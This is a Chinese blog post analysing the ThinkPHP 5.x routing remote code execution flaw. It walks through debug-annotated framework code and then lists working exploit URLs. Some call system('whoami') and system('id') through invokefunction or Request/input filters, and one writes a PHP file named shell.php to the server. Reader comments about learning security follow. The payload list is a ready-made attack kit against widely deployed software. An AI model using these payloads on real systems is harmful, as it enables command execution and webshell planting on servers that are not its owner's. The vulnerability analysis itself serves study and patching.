0x1 漏洞分析
补丁文件所在位置:/thinkphp/library/think/route/dispatch/Url.php 56-66行
if ($this->param['auto_search']) { $controller = $this->autoFindController($module, $path); } else { // 解析控制器 $controller = !empty($path) ? array_shift($path) : null; } if (!preg_match('/^[A-Za-z](\w|\.)*$/', $controller)) { patch fix vuls throw new HttpException(404, 'controller not exists:' . $controller); } // 解析操作
具体操作文件:/thinkphp/library/think/route/dispatch/Module.php
dispatch; /* $result完整被请求的url thinkphp正常支持 index.php/index/index/index index.php?s=index/index/index 俩种模式的路由 $result="index/index/index" */ if (is_string($result)) { $result = explode('/', $result); } if ($this->rule->getConfig('app_multi_module')) { // 多模块部署 $module = strip_tags(strtolower($result[0] ?: $this->rule->getConfig('default_module'))); $bind = $this->rule->getRouter()->getBind(); $available = false; if ($bind && preg_match('/^[a-z]/is', $bind)) { // 绑定模块 list($bindModule) = explode('/', $bind); if (empty($result[0])) { $module = $bindModule; } $available = true; } elseif (!in_array($module, $this->rule->getConfig('deny_module_list')) && is_dir($this->app->getAppPath() . $module)) { $available = true; } elseif ($this->rule->getConfig('empty_module')) { $module = $this->rule->getConfig('empty_module'); $available = true; } // 模块初始化 // echo $this->app->getAppPath() . $module."
"; // var_dump(is_dir($this->app->getAppPath() . $module)); //echo $module,$available;die(); if ($module && $available) { // 初始化模块 //echo 123123; $this->request->setModule($module); $this->app->init($module); } else { throw new HttpException(404, 'module not exists:' . $module); } } // 是否自动转换控制器和操作名 var_dump($result); $convert = is_bool($this->convert) ? $this->convert : $this->rule->getConfig('url_convert'); // 获取控制器名 $controller = strip_tags($result[1] ?: $this->rule->getConfig('default_controller')); //分割了/之后取第二个参数 $this->controller = $convert ? strtolower($controller) : $controller; // 获取操作名 $this->actionName = strip_tags($result[2] ?: $this->rule->getConfig('default_action')); //分割了/之后取第三个参数 echo 'init:'.$this->controller."
"; // 设置当前请求的控制器、操作 $this->request ->setController(Loader::parseName($this->controller, 1)) ->setAction($this->actionName); return $this; } public function exec() { // 监听module_init $this->app['hook']->listen('module_init'); try { // 实例化控制器 echo 'exec:'.$this->controller."
"; $instance = $this->app->controller($this->controller, $this->rule->getConfig('url_controller_layer'), $this->rule->getConfig('controller_suffix'), $this->rule->getConfig('empty_controller')); ... //echo 123;die(); $data = $this->app->invokeReflectMethod($instance, $reflect, $vars); ...
在看 $this->app->controller函数原型 /thinkphp/library/think/App.php
public function controller($name, $layer = 'controller', $appendSuffix = false, $empty = '') { echo $name, $layer, $appendSuffix."
"; list($module, $class) = $this->parseModuleAndClass($name, $layer, $appendSuffix); //重点调用了parseModuleAndClass var_dump(class_exists($class)); echo 'class:'.$class."
"; if (class_exists($class)) { echo 'class_exists
'; return $this->__get($class); } elseif ($empty && class_exists($emptyClass = $this->parseClass($module, $layer, $empty, $appendSuffix))) { return $this->__get($emptyClass); } throw new ClassNotFoundException('class not exists:' . $class, $class); } protected function parseModuleAndClass($name, $layer, $appendSuffix) { echo 'parseModuleAndClass:'.$name."
"; if (false !== strpos($name, '\\')) { //如果name种包含\则赋值给class $class = $name; $module = $this->request->module(); } else { if (strpos($name, '/')) { list($module, $name) = explode('/', $name, 2); } else { $module = $this->request->module(); } $class = $this->parseClass($module, $layer, $name, $appendSuffix); } return [$module, $class]; }
0x2 漏洞利用
看到这里基本就能理解了 如果我访问
/index.php?s=index/think\Loader/esss&a=1asdasd
/ThinkPHP/public/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami
?s=index/\think\Request/input&filter=phpinfo&data=1
?s=index/\think\Request/input&filter=system&data=id
?s=index/\think\template\driver\file/write&cacheFile=shell.php&content=%3C?php%20phpinfo();?%3E
?s=index/\think\view\driver\Php/display&content=%3C?php%20phpinfo();?%3E
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
就可以调用think\Loader 这个namespace下面的esss函数,为了方便测试,我在loader中加了一个esss函数,截图如下
本文作者为Mr.Wu,转载请注明,尊守博主劳动成果!
由于经常折腾代码,可能会导致个别文章内容显示错位或者别的 BUG 影响阅读; 如发现请在该文章下留言告知于我,thank you !
博主你好,我对网络安全这块非常感兴趣,请问有什么入门的资料或网站吗,看了你网站上的所有网站,真是酷!!
@ayawaw多百度,所有资料百度都有,多逛坛子多看文章多手动
@Mr.Wu嗯,如果知道是某个知识点,我肯定会自己去搜索,我觉得我缺少可以动手实践的例子或者是入门的书籍,比如你这里说的坛子,请问有哪些呢,我就知道一个看雪论坛
@ayawawt00ls,需要邀请码,你缺个领路人,多去看吧,看了文章不懂在对照文章的关键词搜索,慢慢摸索就行了
@Mr.Wu谢谢大佬,哈哈!我已经找到邀请码注册了。我已经把你网站上的文章基本看了一遍了~
ps,大佬,可以交换一个友链吗?之前我有在你网站上留言过哦,那时候我已经加你友链啦~~~~
@ayawaw我友链放不下了,在增加会错位,我在捉摸有空弄成滚动的或者内页。。。
@Mr.Wu哈哈哈,你这。。那我提供一个能滚动的js代码呢,是不是就可以把我友链假设啦啦啦~~
@ayawaw汗,你以为是忽悠你呀,明天吧,明天我抽空重新设计下友链,弄好了在给你加上。